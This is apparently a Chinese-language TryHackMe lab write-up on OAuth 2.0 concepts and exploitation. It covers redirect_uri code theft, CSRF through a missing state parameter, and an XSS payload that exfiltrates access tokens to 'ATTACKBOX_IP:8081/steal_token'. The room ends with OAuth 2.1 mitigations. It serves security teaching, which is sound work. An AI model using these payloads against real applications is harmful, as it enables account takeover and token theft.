THMOAuthVulnerabilities
Introduction
在现代 Web 应用程序中,OAuth 漏洞是一个严重且经常被忽视的风险;我们所说的 OAuth,指的是 OAuth 2.0,这个常用的授权框架。当黑客利用 OAuth 2.0 中的漏洞时,就会出现这些漏洞,这些漏洞会导致 CSRF、XSS、数据泄露以及其他漏洞的利用。
学习目标
通过本课程,您将全面了解以下关键概念:
- OAuth 2.0 的基本概念(授权类型)
- OAuth 2.0 流程
- 识别 OAuth 服务
- 漏洞利用技术
- OAuth 2.1 的演变
建议您在开始本课程之前了解以下主题:
开始吧!
Key Concepts
本任务将讨论理解 OAuth,特别是 OAuth 2.0 的关键概念。这些概念构成了理解 OAuth 2.0 框架构建方式的基础。作为一名渗透测试人员或安全程序员,理解这些概念对于渗透测试网站或编写无漏洞代码至关重要。为了使这些概念更容易理解,我们将通过一个日常示例来解释:使用咖啡店的移动应用程序订购和支付咖啡。
资源所有者
资源所有者是控制某些数据并可以授权应用程序代表其访问这些数据的个人或系统。这个概念至关重要,因为它以用户的同意和控制为中心。例如,作为咖啡店的顾客,您是资源所有者。您可以控制您的帐户信息,并授予咖啡店的移动应用程序访问您数据的权限。
客户端
客户端可以是移动应用程序或服务器端 Web 应用程序。它充当中介,请求访问资源并根据资源所有者的许可执行操作。例如,您用来订购和支付咖啡的咖啡店 Web 应用就是客户端。您需要获得授权才能访问您的账户详情和支付信息。
授权服务器
授权服务器负责在成功验证资源所有者并获得其授权后,向客户端颁发访问令牌。授权服务器在 OAuth 流程中扮演着至关重要的角色,它确保客户端只有在经过合法用户身份验证和同意后才能获得权限。例如,咖啡店处理身份验证和授权的后端系统就是授权服务器。它会验证您的凭据并授予 Web 应用访问您账户的权限。
资源服务器
托管受保护资源的服务器可以使用访问令牌接受并响应受保护资源的请求。该服务器确保只有经过身份验证和授权的客户端才能访问或操作资源所有者的数据。例如,资源服务器是咖啡店的数据库,用于存储您的账户信息、订单历史记录和支付详情。它响应来自 Web 应用的请求,允许其检索和修改您的数据。
授权授予
客户端使用代表资源所有者授权(访问其受保护资源)的凭证来获取访问令牌。主要的授权类型包括“授权码”、“隐式授权”、“资源所有者密码凭证”和“客户端凭证”。例如,当您首次登录咖啡店应用时,您会获得一个授权授予(例如输入您的用户名和密码)。应用使用此授予从授权服务器获取访问令牌。我们将在下一个任务中详细讨论它。
访问令牌
客户端可以使用该凭证代表资源所有者访问受保护资源。它的生命周期和作用域有限。访问令牌对于维护客户端和资源服务器之间的安全且受保护的通信至关重要,无需反复向资源所有者请求凭证。例如,一旦您登录咖啡店应用,它就会收到一个访问令牌,该令牌允许应用访问您的帐户下单和付款,而无需您在特定时间段内再次登录。
刷新令牌
客户端可以使用此凭证获取新的访问令牌,而无需资源所有者重新进行身份验证。刷新令牌通常具有长期有效期,并提供了一种维护用户会话的方法,避免频繁的登录中断。例如,当您的访问令牌过期时,Web 应用将使用刷新令牌获取新的访问令牌,这样您就无需再次登录。
重定向 URI
授权服务器在授权或拒绝授权后,将资源所有者的用户代理重定向到的 URI。它会检查请求授权响应的客户端是否正确。例如,在与咖啡店应用交互并登录后,您将被咖啡店应用中的应用页面重定向到授权服务器(通常称为重定向 URI),以确认您已成功登录。
作用域
作用域是一种限制应用访问用户帐户的机制。它们允许客户端指定所需的访问级别,并允许授权服务器告知用户应用程序请求的访问级别。范围有助于强制执行“最小权限原则”。例如,咖啡店的应用程序可能会请求不同的范围,例如访问您的订单历史记录和付款详情。作为资源所有者,您可以查看应用程序请求访问的信息,并授予或拒绝权限。
状态参数
一个可选的参数用于维护客户端和授权服务器之间的状态。它可以帮助通过确保响应与客户端请求匹配来防止 CSRF 攻击。state 参数是确保 OAuth 流程安全的关键部分。例如,当您启动登录流程时,咖啡店的应用会向授权服务器发送一个 state 参数。此参数有助于确保您收到的响应与您的原始请求相关联,从而防范某些类型的攻击。
令牌和授权端点
授权服务器的端点是客户端将授权许可(或刷新令牌)交换为访问令牌的地方。相反,授权端点是资源所有者进行身份验证并授权客户端访问受保护资源的地方。
通过熟悉这些主题,您将轻松理解后续任务中的漏洞利用技术和相关漏洞。
OAuth Grant Types
OAuth 2.0 提供了多种授权类型,以适应各种场景和客户端类型。这些授权类型定义了应用程序如何获取访问令牌,以代表资源所有者访问受保护的资源。在本任务中,我们将讨论四种主要的 OAuth 2.0 授权类型。
授权码授权
授权码授权是最常用的 OAuth 2.0 流程,适用于服务器端应用程序(PHP、JAVA、.NET 等)。在此流程中,客户端将用户重定向到授权服务器,用户在授权服务器进行身份验证并授予授权。然后,授权服务器将用户重定向到带有授权码的客户端。客户端通过请求授权服务器的令牌端点,将授权码交换为访问令牌。

此授权类型以其增强的安全性而闻名,因为授权码是在服务器到服务器之间交换访问令牌的,这意味着访问令牌不会暴露给用户代理(例如浏览器),从而降低了令牌泄露的风险。它还支持使用刷新令牌来维持长期访问,而无需重复进行用户身份验证。
隐式授权
隐式授权主要针对客户端无法安全存储机密信息的移动和 Web 应用而设计。它直接向客户端颁发访问令牌,无需授权码交换。在此流程中,客户端将用户重定向到授权服务器。用户完成身份验证并授予授权后,授权服务器会在 URL 片段中返回访问令牌。完整流程如下所示:

此授权类型经过简化,适用于无法安全存储客户端机密的客户端。与授权码授权相比,此授权类型步骤更少,因此速度更快。然而,由于访问令牌会暴露给用户代理,并可能被记录在浏览器历史记录中,因此安全性较低。此外,它不支持刷新令牌。
资源所有者密码凭证授予
当客户端受到资源所有者高度信任时(例如第一方应用),将使用资源所有者密码凭证授予。客户端直接收集用户的凭证(用户名和密码),并将其交换为访问令牌,如下所示:

在此流程中,用户直接向客户端提供其凭证。然后,客户端将凭证发送到授权服务器,授权服务器验证凭证并颁发访问令牌。此授权类型是直接授权,需要的交互较少,因此适用于用户对提供其凭证有信心的高度可信的应用程序。但是,由于它涉及直接与客户端共享凭证,因此安全性较低,不适用于第三方应用程序。
客户端凭证授予
客户端凭证授予用于无需用户参与的服务器间交互。客户端使用其凭证向授权服务器进行身份验证并获取访问令牌。在此流程中,客户端使用其客户端凭证(客户端 ID 和密钥)向授权服务器进行身份验证,授权服务器直接向客户端颁发访问令牌,如下所示:

此授权类型适用于后端服务和服务器间通信,因为它不涉及用户凭据,从而降低了与用户数据泄露相关的安全风险。
下一个任务将展示 OAuth 流程在 Web 应用程序中的工作原理。
How OAuth Flow Works
OAuth 2.0 流程始于用户(资源所有者)与客户端应用程序(客户端)交互并请求访问特定资源。客户端将用户重定向到授权服务器,并提示用户登录并授予访问权限。如果用户同意,授权服务器将发出授权码,客户端可以将其兑换为访问令牌。此访问令牌允许客户端访问资源服务器并代表用户检索所请求的资源。

我们将以相同的 CoffeeShopApp 示例详细讨论 OAuth 工作流程的各个步骤。
我们将使用定制版 Django OAuth 工具包作为 OAuth 提供程序。务必理解,在接下来的任务中使用“OAuth 提供程序”一词时,它指的是我们想要集成/进行身份验证的第三方 OAuth 提供程序。例如,在 Login with FactBook 示例中,FactBook 就是 OAuth 提供程序。此外,在这些任务中,OAuth 提供程序 CoffeeShopApp 将保持不变;但是,客户端(我们想要集成的应用)会在每个任务中发生变化。

登录到您的 OAuth 提供商后,您就可以在任何其他网站上登录,就像在 X、Facebook 或任何其他网站上执行“使用 Google 注册”一样。
现在访问 URL http://bistro.thm:8000,我们将使用该 URL 来理解 OAuth 工作流程。我们将以一位名叫 Tom 的用户(您可以使用上述任意凭据为他登录)为例来理解工作流程,他希望使用自己的“CoffeeShopApp”帐户登录另一个网站应用。
授权请求
Tom 首先访问 bistro 的 URL http://bistro.thm:8000/oauthdemo,他想通过 CoffeeShopApp 登录。当他点击通过 OAuth 登录时,CoffeeShopApp 必须首先获得他的许可,因此应用程序会将 Tom 的浏览器重定向到授权服务器,并发送授权请求。

点击使用 OAuth 登录,您将被重定向到授权服务器,其 URL 为 http://coffee.thm:8000/accounts/login/?next=/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//bistro.thm%3A8000/oauthdemo/callback,如下所示:

bistro网站通过将 Tom 重定向到授权服务器来启动此过程,并在 URL 中包含以下参数:
response_type=code:表示CoffeeShopApp正在等待授权码返回。state:一个 CSRF 令牌,用于确保请求和响应属于同一事务。client_id:客户端应用程序的公共标识符,唯一标识CoffeeShopApp。redirect_uri:授权服务器在 Tom 授予权限后将发送到的 URL。此 URL 必须与客户端应用程序预先注册的重定向 URI 之一匹配。scope:指定请求的访问级别,例如查看咖啡订单。
通过包含这些参数,bistro应用可以确保授权服务器理解请求的内容以及之后将用户重定向到何处。以下是将用户重定向到授权服务器的 Python 代码:
def oauth_login(request): |
身份验证与授权
当 Tom 访问授权服务器时,系统会提示他使用自己的凭证登录。此步骤确保服务器能够验证他的身份。成功登录后,授权服务器会询问 Tom 是否同意授予 Bistro 应用访问其详细信息的权限。此同意步骤至关重要,因为它使 Tom 能够透明地控制哪些应用可以访问他的数据。
该流程通常包括:
- 用户登录:Tom 在授权服务器的登录页面上输入用户名和密码。
- 同意提示:身份验证完成后,授权服务器会向 Tom 显示一个同意屏幕,详细说明
CoffeeShopApp请求访问哪些内容(例如,查看他的咖啡订单)。然后,Tom 必须决定是授予还是拒绝这些权限。

此双重步骤流程确保在授予任何访问权限之前,Tom 的身份已得到验证并获得其明确同意,从而确保个人数据的安全性和用户控制权。
授权响应
如果 Tom 同意授予访问权限,授权服务器将生成授权码(详见任务 4)。然后,服务器使用指定的 redirect_uri 将 Tom 重定向到小酒馆网站。重定向包含授权码和原始 state 参数,以确保流程的完整性。
授权服务器响应以下内容:
code:CoffeeShopApp将使用授权码请求访问令牌。state:CoffeeShopApp先前发送的用于验证响应的 CSRF 令牌。
授权响应示例为 https://bistro.thm:8000/callback?code=AuthCode123456&state=xyzSecure123。
此步骤确保授权过程安全,并将响应与小酒馆的初始请求关联。授权码是一个临时令牌,将在下一步中用于获取访问令牌,从而允许“CoffeeShopApp”访问 Tom 的个人资料详细信息。
令牌请求
Bistro 网站通过 POST 请求向授权服务器的令牌端点发送访问令牌,并将授权码转换为访问令牌。POST 请求包含以下参数:
grant_type:使用的授权类型;通常设置为code以指定授权码作为授权类型。code:从授权服务器接收的授权码。redirect_uri:必须与授权请求中提供的原始重定向 URI 匹配。client_id和client_secret:用于验证客户端应用程序的凭据。
使用上述参数,以下代码将向 /o/token 端点发出令牌请求。
token_url = "http://coffee.thm:8000/o/token/" |
小酒馆应用通过发送此请求安全地将授权码交换为访问令牌。授权服务器将验证所提供的信息,确保请求有效且源自请求授权码的客户端。如果一切正确,授权服务器将返回访问令牌,允许小酒馆网站继续访问 Tom 的个人资料。
令牌响应
授权服务器对Bistro网站进行身份验证并验证授权码。验证成功后,服务器将返回“访问令牌”以及可选的“刷新令牌”。
授权服务器的响应包含以下内容:
access_token:用于访问 Tom 详细信息的令牌。token_type:通常为“Bearer”。expires_in:访问令牌的有效期(以秒为单位)。refresh_token(可选):用于获取新访问令牌而无需用户重新登录的令牌。
有了访问令牌,Bistro 网站现在可以验证向资源服务器发出的访问 Tom 个人资料详情的请求。可选的刷新令牌可用于在当前访问令牌过期后请求新的访问令牌,从而避免 Tom 重复登录,从而提供无缝的用户体验。
Bistro 网站已使用访问令牌完成了 OAuth 2.0 授权工作流程。此令牌是一种凭证,允许应用代表 Tom 访问受保护的资源。现在,Bistro 网站可以向资源服务器发出经过身份验证的请求,以检索 Tom 的个人资料。每个向资源服务器发出的请求都会在授权标头中包含访问令牌,以确保服务器能够识别并允许访问。
Identifying the OAuth Services
https://dev.coffee.thm/authorize?response_type=code&client_id=AppClientID&redirect_uri=https://dev.coffee.thm/callback&scope=profile&state=xyzSecure123 |
识别 OAuth 框架
确认正在使用 OAuth 后,下一步是识别应用程序所使用的具体框架或库。这可以洞察潜在漏洞并进行适当的安全评估。以下是一些识别 OAuth 框架的策略:
- HTTP 标头和响应:检查 HTTP 标头和响应主体中是否存在引用特定 OAuth 库或框架的唯一标识符或注释。
- 源代码分析:如果您可以访问应用程序的源代码,请搜索可以揭示所用框架的特定关键字和导入语句。例如,像“django-oauth-toolkit”、“oauthlib”、“spring-security-oauth”或“Node.js”中的“passport”这样的库,每个库都具有独特的特性和命名约定。
- 授权和令牌端点:分析用于获取授权码和访问令牌的端点。不同的 OAuth 实现可能具有独特的端点模式或结构。例如,
Django OAuth Toolkit通常遵循/oauth/authorize/和/oauth/token/模式,而其他框架可能使用不同的路径。 - 错误消息:自定义错误消息和调试输出可能会无意中泄露底层技术栈。详细的错误消息可能包含对特定 OAuth 库或框架的引用。
Exploiting OAuth - Stealing OAuth Token
令牌在 OAuth 2.0 框架中扮演着至关重要的角色,它充当着授予受保护资源访问权限的数字密钥。这些令牌由授权服务器签发,并根据 redirect_uri 参数重定向到客户端应用程序。此重定向在 OAuth 流程中至关重要,确保令牌安全地传输到预期的接收者。然而,如果 redirect_uri 未得到妥善保护,攻击者可以利用它来劫持令牌。
Redirect_URI 的作用
redirect_uri 参数在 OAuth 流程中指定,用于指示授权服务器在授权后应将令牌发送到何处。此 URI 必须在应用程序设置中预先注册,以防止开放重定向漏洞。在 OAuth 流程中,服务器会检查提供的 redirect_uri 是否与已注册的 URI 之一匹配。
漏洞
不安全的 redirect_uri 可能导致严重的安全问题。如果攻击者控制了 redirect_uri 中列出的任何域名或 URI,他们就可以操纵流程来拦截令牌。以下是利用此漏洞的方法:
- 假设一个 OAuth 应用程序注册了以下重定向 URI,如下所示:

- 攻击者策略:如果攻击者控制了
dev.bistro.thm,他们就可以利用 OAuth 流程。通过将redirect_uri设置为http://dev.bistro.thm/callback,授权服务器会将令牌发送到这个受控域名。 - 精心设计的攻击:攻击者发起 OAuth 流程,并确保
redirect_uri指向其控制的域名。用户授权应用程序后,令牌将被发送到http://dev.bistro.thm/callback。攻击者现在可以捕获此令牌并使用它来访问受保护的资源。
准备有效载荷(攻击者视角)
在开始练习之前,请确保您已通过访问链接 http://coffee.thm:8000/admin/logout 以受害者身份退出 OAuth 提供商。
在本练习中,我们假设攻击者已经攻陷了域名“dev.bistro.thm:8002”,并且可以在服务器上托管任何 HTML 页面。假设 Tom 是受害者,我们将向他发送一个链接。攻击者可以使用以下代码创建一个简单的 HTML 页面(“redirect_uri.html”):
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get"> |
该表单发送一个隐藏的 redirect_uri 参数,其值为 http://dev.bistro.thm:8002/malicious_redirect.html,并向 http://coffee.thm:8000/oauthdemo/oauth_login/ 提交请求。然后,malicious_redirect.html 页面使用以下代码从 URL 中拦截授权码:
<script> |
注意:由于攻击者完全控制了子域名,一旦他将受害者重定向到攻击者控制的域名,他就会将凭证保存在数据库/文件等中,以备后用。此外,从redirect_uri重定向到原始URL的速度非常快,受害者根本不知道他的授权码已被劫持。
攻击者可以通过社会工程学手段或CSRF攻击向Tom发送链接(http://dev.bistro.thm:8002/redirect_uri.html)。受害者在不知情的情况下点击该链接,访问“dev.bistro.thm:8002/redirect_uri.html”URL。在连接的虚拟机中,以受害者身份在浏览器中打开该链接。此时,您将看到以下屏幕:

在附加的虚拟机中,当受害者点击“通过 OAuth 登录”按钮时,表单会调用 http://coffee.thm:8000/oauthdemo/oauth_login/,但会使用伪造的 redirect_uri。一旦受害者输入 OAuth 提供商的凭证(victim:victim123),它就会将 OAuth 授权码定向到攻击者控制的 URL(http://dev.bistro.thm:8002/malicious_redirect.html),从而使攻击者能够拦截并滥用授权码,如下所示:

攻击者视角
攻击者可以利用截获的授权码在自己的机器上调用 /callback 端点,并将其交换为有效的访问令牌。正如我们之前所见,在 OAuth 流程中,/callback 端点始终可用,接受 code 参数并返回访问令牌。攻击者利用此令牌获得对用户受保护资源的未授权访问。要获取访问令牌,请访问 URL http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxxx,并将 code 参数替换为获取的授权码。

Exploiting OAuth - CSRF in OAuth
OAuth 2.0 框架中的 state 参数可防御 CSRF 攻击。CSRF 攻击是指攻击者诱骗用户在当前已进行身份验证的 Web 应用上执行不必要的操作。在 OAuth 环境中,CSRF 攻击可以通过劫持 OAuth 流程,导致未经授权访问敏感资源。state 参数有助于维护授权流程的完整性,从而降低此类风险。
State 参数弱或缺失的漏洞
State 参数是客户端应用程序在授权请求中包含的任意字符串。当授权服务器使用授权码将用户重定向回客户端应用程序时,也会包含 state 参数。然后,客户端应用程序会验证响应中的 state 参数是否与其最初发送的参数匹配。此验证可确保响应不是 CSRF 攻击的结果,而是 OAuth 流程的合法延续。
例如,假设一个 OAuth 实现中,state 参数要么缺失,要么可预测(例如,像“state”这样的静态值,或者攻击者可以发起 OAuth 流程并提供其恶意重定向 URI)。用户验证并授权应用程序后,授权服务器会将授权码重定向到攻击者控制的 URI,该 URI 由弱或缺失的 state 参数指定。
实践
在本练习中,我们将探讨 OAuth 授权过程中 state 参数的缺失如何导致 CSRF 攻击。您需要使用 AttackBox 从攻击者和受害者的角度理解攻击。我们将使用应用程序 mycontacts.thm:8080,该应用程序允许您从任何平台同步联系人。
开始练习之前,请确保您已通过访问链接 http://coffee.thm:8000/admin/logout 以受害者身份退出 OAuth 提供商。
攻击者视角
首先,使用链接“http://mycontacts.thm:8080/csrf/index.php”和凭据“attacker:attacker”访问 AttackBox 中的网站。登录后,您将看到一个页面,允许您将联系人同步到“CoffeeShopApp”。同步帐户后,客户端应用中的所有当前帐户都将转移到“CoffeeShopApp”帐户。

如果您点击“同步联系人”按钮,您将被重定向到一个 OAuth 授权服务器,其 URL 为“http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fcoffee.thm%2Fcsrf%2Fcallbackcsrf.php”。
作为一名渗透测试人员,您会注意到授权 URL 缺少 state 参数,这表明我们可以使用相同的请求进行 CSRF 攻击。在这里,您无需同步您的实际帐户。让我们利用此漏洞将攻击者的第三方帐户附加到受害者帐户。
漏洞利用
如果没有 state 参数,授权过程很容易受到 CSRF 攻击。攻击者可以通过获取受害者的授权码并将其发送给攻击者来利用此漏洞。授权服务器无法确定授权码是属于攻击者还是受害者,也无法确定请求是来自攻击者还是受害者。
准备payload
要准备payload,攻击者必须获取授权码。这可以通过使用Burp Suite或其他网络拦截工具拦截授权过程来实现。为了便于练习,我们提供了一个链接:http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/,该链接允许您在不完成OAuth流程的情况下获取授权码。流程的代码非常简单,如下所示:
def oauth_logincsrf(request): |
一旦您访问上面共享的链接并使用凭证“attacker:tesla@123”获取授权码,您将收到以下响应。

上述授权码可让任何人获取访问令牌。响应中的 URL 参数是我们需要发送给受害者的实际有效载荷。复制“Payload”值,我们将在发起攻击时使用它。
发起攻击
- 攻击者获取授权码后,即可准备 CSRF 有效载荷。假设攻击者向受害者发送一封电子邮件,其中包含类似“http://bistro.thm:8080/csrf/callbackcsrf.php?code=xxxx”的链接。
- 收到电子邮件后,如果受害者点击该链接或在浏览器中执行该链接(其中“xxx”是攻击者的授权码),攻击者的“CoffeeShopApp”OAuth 帐户将与受害者的帐户关联。这实际上会将所有联系人从受害者的帐户转移到攻击者的帐户。
受害者视角
- 在附加的虚拟机中,为了以受害者身份进行实际测试,请使用凭证“victim:victim”登录 http://bistro.thm:8080/csrf/ 客户端应用程序。由于授权码是唯一的,因此为了练习,请将攻击者的漏洞利用代码(链接:http://bistro.thm:8080/csrf/callbackcsrf.php?code=xxxx)直接粘贴到浏览器中执行。
- 如上所述,发送给受害者的具体链接是在准备有效载荷过程中收到的URL参数。执行后,代码将进行调用以获取访问令牌,并向攻击者的帐户发送联系人/消息。

Exploiting OAuth - Implicit Grant Flow
在隐式授权流程中,令牌会通过浏览器直接返回给客户端,无需中间授权码。此流程主要用于单页应用,专为无法安全存储客户端机密信息的公共客户端而设计。然而,此流程存在固有漏洞:
弱点
- 在 URL 中暴露访问令牌:应用会将用户重定向到 OAuth 授权端点,该端点会在 URL 片段中返回访问令牌。页面上运行的任何脚本都可以轻松访问此片段。
- 重定向 URI 验证不足:OAuth 服务器未充分验证重定向 URI,导致潜在攻击者能够操纵重定向端点。
- 未实施 HTTPS:应用未强制执行 HTTPS,这可能导致通过中间人攻击拦截令牌。
- 访问令牌处理不当:应用程序以不安全的方式存储访问令牌,可能存储在“localStorage”或“sessionStorage”中,导致其易受 XSS 攻击。
弃用隐式授权流程
鉴于这些漏洞,OAuth 2.0 安全最佳实践 建议弃用隐式授权流程,转而采用带有“代码交换证明密钥” (PKCE) 的授权码流程。此更新流程通过降低令牌泄露和客户端身份验证不足的风险,增强了安全性。
实践
开始练习之前,请确保您已通过访问链接 http://coffee.thm:8000/admin/logout 退出 OAuth 提供程序,以攻击者身份登录。
在附加的虚拟机中,访问 http://factbook.thm:8080,您将看到一个页面,允许您从 CoffeeShopApp 同步状态。点击“从 CoffeeShopApp 同步状态”按钮后,授权流程将启动。客户端应用程序配置为使用 implicit grant type,这意味着访问令牌将直接返回给客户端。授权 URL 的构造如下:
var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7'; |
受害者视角
用户使用 OAuth 提供程序凭据“victim:victim123”进行身份验证后,将被重定向到“callback.php”,并在此输入状态。此页面包含一个表单,用于输入状态并通过 AJAX 请求提交:
<button class="btn btn-primary" onclick="submitStatus()">Submit</button> |
为了演示,状态输入字段容易受到 XSS 攻击。一旦您进入状态页面并输入类似“Hello”的状态,该状态就会被发布。但是,如果攻击者利用此漏洞,他们就可以注入恶意脚本。

攻击者视角
为了准备攻击,请在 Attackbox 实例中运行 Python HTTP 服务器,使用命令 python3 -m http.server 8081 监听端口 8081。如果遇到“端口已在使用中”错误,请尝试使用其他端口号。攻击者将与受害者共享以下有效载荷,并将其作为状态输入(假设使用了社会工程学):
<script>var hash = window.location.hash.substr(1);var result = hash.split('&').reduce(function (res, item) {var parts = item.split('=');res[parts[0]] = parts[1]; |
让我们来剖析一下这个payload:
- JavaScript Payload首先从URL中提取片段标识符,即URL中“#”符号后面的部分。它使用“substr(1)”删除开头的“#”,以获取原始片段字符串。
- 然后,该字符串用“&”分隔,形成单独的键值对。“reduce”函数处理每个键值对,并用“=”进一步拆分,以分离键和值。这些键值对随后存储在一个名为result的对象中。
- 脚本从该对象中提取“access_token”值,并将其赋值给变量“accessToken”。为了窃取此访问令牌,脚本会创建一个新的Image对象,并将其“src”属性设置为指向攻击者服务器的URL(“http://ATTACKBOX_IP:8081/steal_token”),并将访问令牌作为查询参数附加到该对象中。
- 加载图片时,它会触发向攻击者服务器发送请求,并在 URL 中包含窃取的访问令牌,从而有效地将令牌发送给攻击者。
将代码复制并粘贴到受害者机器的状态输入字段中。受害者刷新页面后,XSS 负载就会执行。它会从 URL 片段中复制访问令牌,并将其发送到攻击者的服务器“http://ATTACKBOX_IP:8081/steal_token”。攻击者随后可以捕获令牌,并利用它获取用户帐户的未授权访问权限。
注意:刷新页面以便受害者看到的内容并检索令牌。
Terminal
root@ip-10-10-162-175:~# python3 -m http.server 8081 |
隐式授权类型尤其容易受到此类攻击,因为访问令牌暴露在 URL 片段中,页面上运行的任何脚本都可以访问它。如果应用程序未强制执行 HTTPS,则此漏洞会更加严重,导致通过中间人攻击拦截令牌的潜在风险。
Other Vulnerabilities and Evolution of OAuth 2.1
除了前面讨论的漏洞外,攻击者还可以利用 OAuth 2.0 实现中的其他几个关键漏洞。以下是渗透测试人员在渗透测试应用程序时应该注意的一些其他漏洞。
令牌有效期不足
访问令牌的生命周期较长或无限长,会带来严重的安全风险。如果攻击者获取此类令牌,他们可以无限期地访问受保护的资源。实施短期访问和刷新令牌有助于限制攻击者的机会窗口,从而降低此风险。
重放攻击
重放攻击是指捕获有效令牌并重复使用它们来获取未经授权的访问权限。攻击者可以在没有检测和防止令牌重用机制的情况下多次利用令牌。实施“nonce”值和“timestamp”检查可以确保每个令牌仅使用一次,从而有助于缓解重放攻击。
令牌存储不安全
以不安全的方式存储访问令牌和刷新令牌(例如,存储在本地存储或未加密的文件中)可能导致令牌被盗和未经授权的访问。使用安全存储机制(例如安全 Cookie 或加密数据库)可以保护令牌免遭恶意行为者访问。
OAuth 2.1 的演进
OAuth 2.1 代表了 OAuth 标准演进的最新迭代,它以 OAuth 2.0 为基础,旨在解决其缺陷并增强安全性。从 OAuth 2.0 到 OAuth 2.1 的演进历程源于对已知漏洞的缓解需求,并借鉴了自原始规范发布以来涌现的最佳实践。OAuth 2.0 虽然已被广泛采用,但仍有几个方面需要改进,尤其是在安全性和互操作性方面。

主要变更
OAuth 2.1 引入了多项旨在增强协议的关键变更。
- 其中最重要的更新之一是弃用了“隐式授权类型”,该类型由于在 URL 片段中暴露令牌而被认定为重大安全风险。OAuth 2.1 建议公共客户端使用 PKCE 授权码流程。
- 此外,OAuth 2.1 强制使用“state”参数来防范 CSRF 攻击。
- OAuth 2.1 还强调了“安全处理和存储令牌”的重要性。由于存在 XSS 攻击风险,OAuth 2.1 建议不要将令牌存储在浏览器本地存储中,而是使用安全的 Cookie。
- 此外,OAuth 2.1 还通过提供更清晰的“重定向 URI 验证”、客户端身份验证和范围验证指南,增强了互操作性。
总而言之,OAuth 2.1 在 OAuth 2.0 的基础上,解决了其安全漏洞,并融入了最佳实践,从而提供了一个更安全、更受保护的授权框架。有关 OAuth 2.1 的更多详细信息,可以参考这里 的官方规范。
Conclusion
总而言之,本次关于 OAuth 的讨论会让您深入了解 OAuth 2.0 及其在现代 Web 应用中的重要性。我们讨论了理解 OAuth 所需的基本概念,包括各种授权类型和OAuth 流程。然后,我们探讨了如何在 Web 应用程序中识别 OAuth 服务。
通过实践练习,我们利用了与 OAuth 2.0 相关的各种漏洞,包括“隐式授权流程”的薄弱实现、非托管“redirect_uri”的影响以及 scope 参数的不可用。这些练习强调了确保 OAuth 实现安全的重要性以及常见错误配置的潜在风险。
最后,我们研究了其他漏洞,并讨论了 OAuth 2.1 的演变,强调了它的改进及其如何解决 OAuth 2.0 的不足之处。本次讨论会让您从渗透测试人员和安全程序员的角度,掌握了识别和降低 OAuth 相关风险的知识。
